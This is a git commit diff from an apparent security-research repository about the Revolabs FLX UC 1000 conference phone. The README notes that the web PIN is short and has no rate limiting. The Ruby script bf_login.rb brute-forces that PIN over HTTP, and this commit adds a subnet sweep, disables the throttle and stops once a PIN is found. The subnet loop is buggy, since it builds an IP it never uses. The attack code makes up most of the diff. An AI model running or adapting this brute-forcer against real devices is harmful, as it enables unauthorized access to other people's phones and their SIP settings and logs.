final touches on success determination, initial subnet sweeping work, readme updates

revolabs-flx_uc_1000/README.md

@@ -4,7 +4,7 @@ found this device in a conference room, found the IP from an unauthenticated men
 
 ## story time
 
-from the page that loaded when you first hit http://<device>, i noticed `app.js`
+from the page that loaded when you first hit `http://<device>`, i noticed `app.js` was being loaded.
 
 in it, i found:
 ```json
@@ -13,8 +13,27 @@ in it, i found:
   - pattern: /^(\d{4,})$/,
 ```
 
+so we can assume that there are only 9999 possibilities, which is definitely small enough to brute force.
+
+there doesn't seem to be any protection/rate limiting, so..
 
 ## tools
 name | description
 -----|-------------
-[bf_login.rb](bf_login.rb) | brute forces the PIN on the web interface
+[bf_login.rb](bf_login.rb) | brute forces the PIN on the web interface
+
+## functionality exposed
+  * change settings
+    * screen brightness, timeout, enable/disable
+    * LED colors, enable/disable
+    * SIP settings
+    * DHCP, NTP settings
+    * name displayed
+    * etc
+
+  * upgrade firmware - need to do more digging here
+  * restart device
+  * pull logs/configuration
+    * SIP password is not included in exported config.xml
+
+the same functionality, in a different interface is now available on the dialer as well as via HTTP. interestingly, many features/settings are exposed on the dialer, while all access over HTTP must be authenticated

revolabs-flx_uc_1000/bf_login.rb

@@ -49,38 +49,45 @@ end
 address   = ARGV.pop
 errors    = Array.new
 responses = Array.new
-output    = sprintf('%s-logs.%s.%s.json', __FILE__, Time.now.to_i, $$)
+output    = sprintf('%s-logs-%s.%s.%s.json', __FILE__, address, Time.now.to_i, $$)
 
 if address.nil?
   puts sprintf('usage: %s <address>', __FILE__)
   exit 1
 end
 
-9999.downto(0) do |i|
-  # TODO we should prioritize 0000, 1234, etc
+1.upto(254) do |octet|
+base = $1 if address.match(/((?:\d{1,3}){3}\.)/)
+ip = sprintf('%s.%s', base, octet)
+  9999.downto(0) do |i|
+    # TODO we should prioritize 0000, 1234, etc
 
-  pin = sprintf('%04d', i)
+    pin = sprintf('%04d', i)
 
-  begin
-    url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address)
+    begin
+      url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address)
 
-    puts sprintf('trying pin[%s]', pin)
+      puts sprintf('trying pin[%s]', pin)
 
-    response = check_pin(url, pin)
+      response = check_pin(url, pin)
 
-    # TODO need to do some inspection on the responses to find the difference
-    responses << response
+      responses << response
+      if response.body.match(/1/)
+        puts sprintf('INFO: found the pin[%s]', pin)
+        break
+      end
 
-    # TODO need to do some handling on the rate limiting that is almost certain to follow, this is a bit blind
-    sleep 1 if (i % 100).eql?(0)
+      #sleep 1 if (i % 100).eql?(0)
+
+    rescue => e
+      puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
+      errors << { :exception => e, :pin => pin }
+    end
 
-  rescue => e
-    puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
-    errors << { :exception => e, :pin => pin }
   end
-
 end
 
+
 # marshalling the data, at least until we know what we're looking for
 begin
 
@@ -110,4 +117,4 @@ errors.each do |e|
 end
 
 puts sprintf('ERROR: [%d] total errors', errors.size)
-exit 1 unless errors.empty?
+exit 1 unless errors.empty?